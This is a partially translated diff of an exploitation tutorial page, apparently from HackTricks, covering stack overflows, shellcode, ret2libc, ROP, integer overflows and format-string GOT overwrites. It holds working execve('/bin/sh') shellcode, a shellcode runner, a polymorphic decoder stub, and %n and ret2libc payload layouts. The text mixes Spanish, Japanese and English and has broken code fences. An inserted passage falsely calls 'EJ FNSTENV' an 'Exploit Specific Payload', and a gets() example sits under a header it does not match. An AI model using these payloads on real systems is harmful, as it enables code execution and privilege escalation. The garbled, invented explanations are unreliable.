
+``` +```html +

データセクションには、特定の値で初期化されたグローバルまたは静的な変数が含まれています。これらの変数は別のメモリ領域に格納され、プログラムのどの部分からでもアクセスできます。

+``` ``` int i = 5; ``` +**セクション TEXT**: コードの命令(オペコード)の手順 -**Sección TEXT**: Instrucciones del código (opcodes) +**セクション HEAP**: 動的に割り当てられたバッファ(malloc()、calloc()、realloc()) -**Sección HEAP**: Buffer reservados de forma dinánima (malloc(), calloc(), realloc() ) +**セクション STACK**: スタック(渡された引数、環境変数の文字列(env)、ローカル変数...) -**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) +## **1. スタックオーバーフロー** -## **1.STACK OVERFLOWS** +> バッファオーバーフロー、バッファのオーバーラン、スタックのオーバーラン、スタックスマッシング -> buffer overflow, buffer overrun, stack overrun, stack smashing - -Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso. - -Para obtener la dirección de una función dentro de un programa se puede hacer: +セグメンテーションフォールトまたはセグメント違反:プロセスに割り当てられていないメモリアドレスにアクセスしようとすると発生します。 +プログラム内の関数のアドレスを取得するには、次のようにします: ``` objdump -d ./PROGRAMA | grep FUNCION ``` - ## ROP -### Call to sys\_execve +### sys\_execveへの呼び出し {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) @@ -81,39 +83,38 @@ objdump -d ./PROGRAMA | grep FUNCION ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” +カーネルの割り込みを確認する: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; eaxをクリアする\ +xor ebx, ebx ; ebx = 0, 引数はないため\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; システムコールを実行する -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> .oファイルが生成される\ +**ld assembly.o -o shellcodeout** —> アセンブリコードからなる実行可能ファイルが生成され、**objdump**を使用してオプコードを取得できる\ +**objdump -d -Mintel ./shellcodeout** —> シェルコードが正しく生成されていることを確認し、オプコードを取得する +**シェルコードが正常に動作するか確認する** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +``` +Para verificar que las llamadas al sistema se realizan correctamente, compile el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. +Cuando se crea un shellcode, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la instrucción de llamada, hemos insertado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y continuar ejecutando el código. EJ **TRUCO (/bin/sh)**: - +``` ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -127,15 +128,37 @@ leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax +movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` +**Stackを使用したEJ(/bin/sh):** -**EJ usando el Stack(/bin/sh):** +```c +#include +void vulnerable_function() { + char buffer[100]; + printf("Enter some text: "); + gets(buffer); + printf("You entered: %s\n", buffer); +} + +int main() { + vulnerable_function(); + return 0; +} +``` + +このコードは、`gets()`関数を使用してユーザーからの入力を受け取り、そのまま出力する危険な関数`vulnerable_function()`を持っています。 + +この関数は、バッファオーバーフロー攻撃に対して脆弱です。攻撃者は、入力バッファに長すぎるデータを提供することで、スタック上の他の変数や関数のデータを上書きすることができます。 + +攻撃者は、スタック上にシェルコードを配置し、そのアドレスをバッファオーバーフローによって上書きすることで、任意のコマンドを実行することができます。具体的には、`/bin/sh`シェルを実行することができます。 + +この攻撃を実行するには、攻撃者はスタックのアドレスを特定し、そのアドレスをバッファオーバーフローによって上書きする必要があります。これにより、プログラムは攻撃者が指定したシェルコードを実行します。 ``` section .text global _start @@ -156,181 +179,169 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** +EJ FNSTENVは、Linuxでの基本的なESP(Exploit Specific Payload)の一つです。ESPは、エクスプロイトの一部として使用されるペイロードのことであり、攻撃者が標的システムに対して実行するコードです。 + +EJ FNSTENVは、ターゲットのメモリ内のスタックフレームを操作することで、特定のメモリアドレスに任意の値を書き込むことができます。これにより、攻撃者はシステムの制御を取得し、悪意のあるコードを実行することができます。 + +EJ FNSTENVは、特にスタックオーバーフロー攻撃において有用です。攻撃者は、ターゲットのプログラムにバッファオーバーフローを引き起こす入力を送信し、EJ FNSTENVを使用して攻撃を実行します。 + +EJ FNSTENVは、攻撃者がシステムに対して特権を取得するための重要なステップです。攻撃者は、このステップを経て、システム内の機密情報にアクセスしたり、他の攻撃手法を実行したりすることができます。 + +EJ FNSTENVは、Linuxシステムでのエクスプロイト開発において重要なテクニックです。攻撃者は、このテクニックを理解し、適切に使用することで、システムの脆弱性を悪用することができます。 ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` +**エッグハンター:** -**Egg Huter:** +これは、プロセスに関連付けられたメモリページを走査し、そこに保存されているシェルコードを探す小さなコードです(シェルコードに配置されたいくつかの署名を探します)。コードを注入するための小さなスペースしかない場合に便利です。 -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. - -**Shellcodes polimórficos** - -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: +**ポリモーフィックシェルコード** +これは、暗号化されたシェルコードで、それを復号化してジャンプする小さなコードを持っています。Call-Popのトリックを使用して、これは**シーザー暗号化の例**です: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +1. **フレームポインタ(EBP)の攻撃** -1. **Atacando el Frame Pointer (EBP)** - -Útil en una situación en la que podemos modificar el EBP pero no el EIP. - -Se sabe que al salir de una función se ejecuta el siguente código ensamblador: +EBPを変更できるが、EIPを変更できない状況で有用です。 +関数から抜けるときに次のアセンブリコードが実行されることが知られています: ``` movl %ebp, %esp popl %ebp ret ``` +## **4. リターン・トゥ・リブCの方法** -De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado. +スタックが実行不可能であるか、バッファが非常に小さい場合に有用な方法です。 -En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret. +ASLRにより、各実行ごとに関数がメモリ内の異なる位置にロードされるため、この方法は効果的ではない場合があります。ただし、リモートサーバーでは、プログラムが常に同じアドレスで実行されているため、有用です。 -**Exploit:**\ -\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4 +* **cdecl(C declaration)** 引数をスタックに入れ、関数を抜けるときにスタックをクリアします。 +* **stdcall(standard call)** 引数をスタックに入れ、呼び出された関数がスタックをクリアします。 +* **fastcall** 最初の2つの引数をレジスタに入れ、残りの引数をスタックに入れます。 -**Off-by-One Exploit**\ -Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. - -## **4. Métodos return to Libc** - -Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar. - -El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil. - -* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila -* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia -* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila - -Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs). +libcのsystem命令のアドレスを指定し、通常は環境変数から文字列"/bin/sh"を引数として渡します。さらに、プログラムがシェルを不要になったら問題なく終了するために、exit関数のアドレスも使用します(ログを書き込むため)。 **export SHELL=/bin/sh** -Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\ +必要なアドレスを見つけるためには、次の方法があります:\ +**GDB内で:**\ **p system**\ **p exit**\ -**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\ -(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh +**rabin2 -i executable** —> プログラムがロードされるときに使用されるすべての関数のアドレスを表示します\ +(startまたは他のブレークポイント内で)**x/500s $esp** —> ここから/bin/shの文字列を検索します -Una vez tengamos estas direcciones el **exploit** quedaría: +これらのアドレスを持っている場合、**exploit**は次のようになります: -“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system) +"A" \* EBPまでの距離 + 4(EBP:セグメンテーション違反を回避するために本当のEBPが良いが、4つの"A"でも構わない) + **system**のアドレス(EBPを上書きします) + **exit**のアドレス(system("/bin/sh")を終了した後、スタックの最初の4バイトは次のEIPのアドレスとして処理されます) + "**/bin/sh**"のアドレス(systemに渡されるパラメーターになります) -De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit(). +これにより、EIPはsystemのアドレスで上書きされ、パラメーターとして文字列"/bin/sh"を受け取り、それを終了するとexit()関数が実行されます。 -Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4). +関数のアドレスのいずれかのバイトがヌルまたはスペース(\x20)である場合、その関数の前のアドレスを逆アセンブルして、おそらくいくつかのNOPがあるため、関数自体ではなく、それらのいずれかを呼び出すことができるかどうかを確認できます(たとえば、> x/8i system-4)。 -Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver. +この方法は、関数を呼び出すときに**call**ではなく**ret**オペコードを使用するため、関数が最初の4バイトを戻る**EIP**アドレスとして解釈することができるため、機能します。 -Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload. +この方法で興味深いテクニックは、**strncpy()**を呼び出してスタックからヒープにペイロードを移動し、その後**gets()**を使用してそのペイロードを実行することです。 -Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable. +もう1つの興味深いテクニックは、**mprotect()**を使用することです。これにより、メモリの任意の部分に必要な権限を割り当てることができます。これはBDS、MacOS、およびOpenBSDで機能しますが、Linuxでは機能しません(書き込みと実行の権限を同時に許可できないため)。この攻撃を使用すると、スタックを再度実行可能に設定できます。 -**Encadenamiento de funciones** +**関数の連鎖** -Basándonos en la técnica anterior, esta forma de exploit consiste en:\ -Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + … +前述の方法に基づいて、このエクスプロイトの形式は次のようになります:\ +パディング + \&Function1 + \&pop;ret; + \&arg\_fun1 + \&Function2 + \&pop;ret; + \&arg\_fun2 + ... -De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable** +これにより、呼び出す関数を連鎖させることができます。また、複数の引数を持つ関数を使用する場合は、必要な引数(例:4つ)を入力し、4つの引数を入力し、opcodes: pop、pop、pop、pop、retのアドレスを検索して、関数のアドレスを見つけることができます(**objdump -d executable**)。 -**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)** +**フレームの偽装による連鎖(EBPの連鎖)** -Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret" +EBPを操作できる能力を利用して、EBPと"leave;ret"を介して複数の関数の実行を連鎖させる方法です。 -RELLENO +パディング -* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”) -* En el EIP ponemos de dirección una función &(leave;ret) +* EBPに、2番目の偽のEBP + 実行する関数(\&system() + \&leave;ret + &"/bin/sh")を指す偽のEBPを配置します。 +* EIPには、関数&(leave;ret)のアドレスを指定します。 -Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh” +シェルコードを次の部分のアドレスで開始し、例えば:2番目の偽のEBP + \&system() + &(leave;ret;) + &"/bin/sh"とします。 -el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls” +2番目のEBPは:3番目の偽のEBP + \&system() + &(leave;ret;) + &"/bin/ls"となります。 -Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria. +このシェルコードは、アクセス可能なメモリの部分に無限に繰り返し配置されるため、小さなメモリの断片で簡単に分割できるシェルコードが得られます。 -(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) - -## **5.Métodos complementarios** +(EBPとret2libの脆弱性を組み合わせて関数の実行を連鎖させます) +## **5.補足メソッド** **Ret2Ret** -Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí). +EIPにスタックのアドレスを入れることができない場合(EIPが0xbfを含んでいないことを確認)や、シェルコードの場所を計算することができない場合に役立ちます。ただし、脆弱な関数がパラメータを受け入れる場合(ここにシェルコードが配置されます)。 -De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode. +これにより、EIPを**ret**のアドレスに変更すると、次のアドレス(関数の最初の引数のアドレス)がロードされます。つまり、シェルコードがロードされます。 -El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado) - -Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. +エクスプロイトは次のようになります:SHELLCODE + パディング(EIPまで)+ **\&ret**(スタックの次のバイトは、渡されたパラメータのアドレスの先頭を指します) +**strncpy**のような関数は、完了後にシェルコードが保存されていたアドレスをスタックから削除するため、このテクニックは不可能になります。つまり、関数に引数として渡されるアドレス(シェルコードを保存するアドレス)は、0x00で変更され、2番目の**ret**を呼び出すと0x00が見つかり、プログラムが停止します。 ``` - **Ret2PopRet** +**Ret2PopRet** ``` +**Murat Technique** -Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos. +Linuxのすべてのプログラムは0xbfffffffからマッピングされます。 -**Técnica de Murat** +Linuxの新しいプロセスのスタックの構築方法を見ると、プログラムがシェルコードのみの環境で実行されるようにエクスプロイトを開発できます。そのアドレスは次のように計算できます:addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) -En linux todos los progamas se mapean comenzando en 0xbfffffff +これにより、シェルコードを含む環境変数があるアドレスを簡単に取得できます。 -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) - -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +これは、execle関数が望む環境変数のみを持つ環境を作成できるためです。 **Jump to ESP: Windows Style** -Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste con sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode. +ESPは常にスタックの先頭を指しているため、このテクニックはEIPをjmp espまたはcall espへのアドレスに置き換えることで行われます。これにより、EIPの上書き後にシェルコードが保存されます。retを実行した後、ESPは次のアドレスを指しているため、シェルコードが保存された場所です。 -En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable. +WindowsまたはLinuxでASLRが無効になっている場合、共有オブジェクトに保存されたjmp espまたはcall espを呼び出すことができます。ASLRが有効な場合、脆弱なプログラム自体の中から探すことができます。 -Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función). +また、EIPの破損後にシェルコードをスタックの中央に配置する代わりに、スタックの後ろに配置することで、関数の実行中に実行されるpushやpop命令がシェルコードに触れないようにすることができます。 -De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).** +同様に、関数がシェルコードが保存されているアドレスを返すことがわかっている場合、call eaxまたはjmp eax(ret2eax)を呼び出すことができます。 -**ROP (Return Oriented Programming) o borrowed code chunks** +**ROP(Return Oriented Programming)またはborrowed code chunks** -Los trozos de código que se invocan se conocen como gadgets. +呼び出されるコードの断片はガジェットとして知られています。 -Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**. +このテクニックは、ret2libcのテクニックとpop,retの使用を組み合わせて、異なる関数呼び出しを連鎖させることで行われます。 -En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo: +一部のプロセッサアーキテクチャでは、各命令は32ビットのセットです(たとえばMIPS)。しかし、Intelでは命令は可変サイズであり、複数の命令がビットセットを共有することがあります。例えば: -**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp** +**movl $0xe4ff, -0x(%ebp)** —> これは0xffe4とも解釈され、**jmp \*%esp**とも解釈されます。 -De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original +これにより、元のプログラムに存在しない命令を実行することができます。 -**ROPgadget.py** nos ayuda a encontrar valores en binarios +ROPgadget.pyはバイナリ内の値を検索するのに役立ちます。 -Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tu le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**. +このプログラムはまた、ペイロードを作成するために使用できます。ROPを取り出したいライブラリを与えると、Pythonのペイロードが生成されます。その後、ライブラリのアドレスを与えると、ペイロードがシェルコードとして使用できる状態になります。また、システムコールを使用するため、実際にはスタック上で何も実行せず、**ret**命令を使用して実行されるROPのアドレスを保存していくだけです。このペイロードを使用するには、**ret**命令を使用してペイロードを呼び出す必要があります。 **Integer overflows** -Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo: - +このタイプのオーバーフローは、変数が渡される数値をサポートする準備ができていない場合に発生します。符号付きと符号なしの変数の混乱による可能性があります。例えば: ```c #include #include @@ -355,25 +366,13 @@ printf("\nIntento de hack\n"); return 0; } ``` +## **フォーマット文字列** -En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena. +C言語では、**`printf`**は文字列を**表示**するために使用される関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタ**を含む**生のテキスト**です。次に期待されるパラメータは、生のテキストから**フォーマッタを置き換える値**です。 -Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen(buffer) será menor que l, pues l es unsigned int y será muy grande. - -Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades. - -**Variables no inicializadas** - -No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante. - -## **Format Strings** - -In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -The vulnerability appears when an **attacker text is put as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to **write any data in any address**. Being able this way to **execute arbitrary code**. - -Fomatters: +この関数の**最初の引数**として、**攻撃者のテキスト**が指定されると、脆弱性が発生します。攻撃者は、**printfフォーマット**文字列の機能を悪用して、任意のデータを任意のアドレスに**書き込むことができます**。これにより、任意のコードを**実行**することができます。 +フォーマッタ: ```bash %08x —> 8 hex bytes %d —> Entire @@ -383,64 +382,61 @@ Fomatters: %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` - -**`%n`** **writes** the **number of written bytes** in the **indicated address. Writing** as much **bytes** as the hex number we **need** to write is how you can **write any data**. - +**`%n`**は、**指定されたアドレスに書き込まれたバイト数**を**書き込む**ためのものです。書き込むべきバイト数だけを16進数で書き込むことで、任意のデータを書き込むことができます。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` - ### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) -This is the table that contains the **address** to the **external functions** used by the program. +これは、プログラムで使用される**外部関数**への**アドレス**を含むテーブルです。 -Get the address to this table with: **`objdump -s -j .got ./exec`** +このテーブルのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。 ![](<../../.gitbook/assets/image (619).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` +GEFで**実行可能ファイル**を**ロード**した後、GOTにある**関数**を**表示**できます: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +GEFを使用してデバッグセッションを開始し、**`got`**を実行してgotテーブルを表示できます: ![](<../../.gitbook/assets/image (621).png>) -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this exploit is to **override the GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function**. Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +バイナリでは、GOTには関数のアドレスまたは関数アドレスをロードする**PLT**セクションへのアドレスが含まれています。このエクスプロイトの目的は、後で実行される関数のGOTエントリを**`system`**関数のPLTのアドレスで**上書き**することです。理想的には、**パラメータを制御できるように**、**制御できるパラメータで呼び出される関数**のGOTを**上書き**します(そのため、システム関数に送信されるパラメータを制御できます)。 -If **`system`** **isn't used** by the script, the system function **won't** have an entry in the GOT. In this scenario, you will **need to leak first the address** of the `system` function. +スクリプトで**`system`**が使用されていない場合、システム関数にはGOTにエントリがありません。このシナリオでは、まず`system`関数のアドレスを**リークする必要があります**。 -**Procedure Linkage Table** is a **read only** table in ELF file that stores all necessary **symbols that need a resolution**. When one of these functions are called the **GOT** will **redirect** the **flow** to the **PLT** so it can **resolve** the **address** of the function and write it on the GOT.\ -Then, the **next time** a call is performed to that address the **function** is **called directly** without needing to resolve it. +**Procedure Linkage Table**は、解決が必要なすべての必要な**シンボル**を格納するELFファイルの**読み取り専用**テーブルです。これらの関数のいずれかが呼び出されると、GOTは**フロー**を**PLT**に**リダイレクト**し、関数のアドレスを解決してGOTに書き込みます。\ +その後、そのアドレスに対して次に呼び出しが行われると、関数は解決する必要なく直接呼び出されます。 -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +PLTのアドレスは、**`objdump -j .plt -d ./vuln_binary`**で確認できます。 -### **Exploit Flow** +### **エクスプロイトのフロー** -As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ -So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. +前述のように、目標は後で呼び出される**GOT**テーブル内の**関数**の**アドレス**を**上書き**することです。理想的には、実行可能セクションにあるシェルコードのアドレスを設定できると良いですが、実行可能セクションにシェルコードを書き込むことはほとんどできない可能性が高いです。\ +そのため、別のオプションは、**ユーザーから引数を受け取る関数**を**上書き**し、それを**`system`**関数に指定することです。 -To write the address, usually 2 steps are done: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +アドレスを書き込むためには、通常2つのステップが行われます: 最初にアドレスの2バイトを書き込み、その後に他の2バイトを書き込みます。これには**`$hn`**が使用されます。 -**HOB** is called to the 2 higher bytes of the address\ -**LOB** is called to the 2 lower bytes of the address +HOBはアドレスの上位2バイトを指します\ +LOBはアドレスの下位2バイトを指します -So, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +したがって、フォーマット文字列の動作により、\[HOB、LOB]のうち**小さい方を最初に書き込み**、その後にもう一方を書き込む必要があります。 -If HOB < LOB\ +HOB < LOBの場合\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +HOB > LOBの場合\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" 